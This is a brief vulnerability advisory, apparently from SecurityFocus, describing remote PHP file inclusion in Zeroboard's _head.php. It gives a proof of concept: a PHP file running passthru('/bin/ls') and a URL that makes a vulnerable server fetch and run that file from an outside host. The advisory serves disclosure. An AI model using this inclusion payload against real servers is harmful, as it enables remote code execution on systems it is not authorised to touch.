source: http://www.securityfocus.com/bid/5028/info

Zeroboard is a PHP web board package available for the Linux and Unix platforms.

Under some circumstances, it may be possible to include arbitrary PHP files. The _head.php file does not sufficiently check or sanitize input. When the "allow_url_fopen" variable and the "register_globals" variable in php.ini are set to "On," it is possible to load a PHP include file from a remote URL via the _head.php script. 

PHP Source file a.php
<? passthru("/bin/ls"); ?>

Accessing URL on vulnerable system:
http://vulnerablesystem/_head.php?_zb_path=http://example.com/a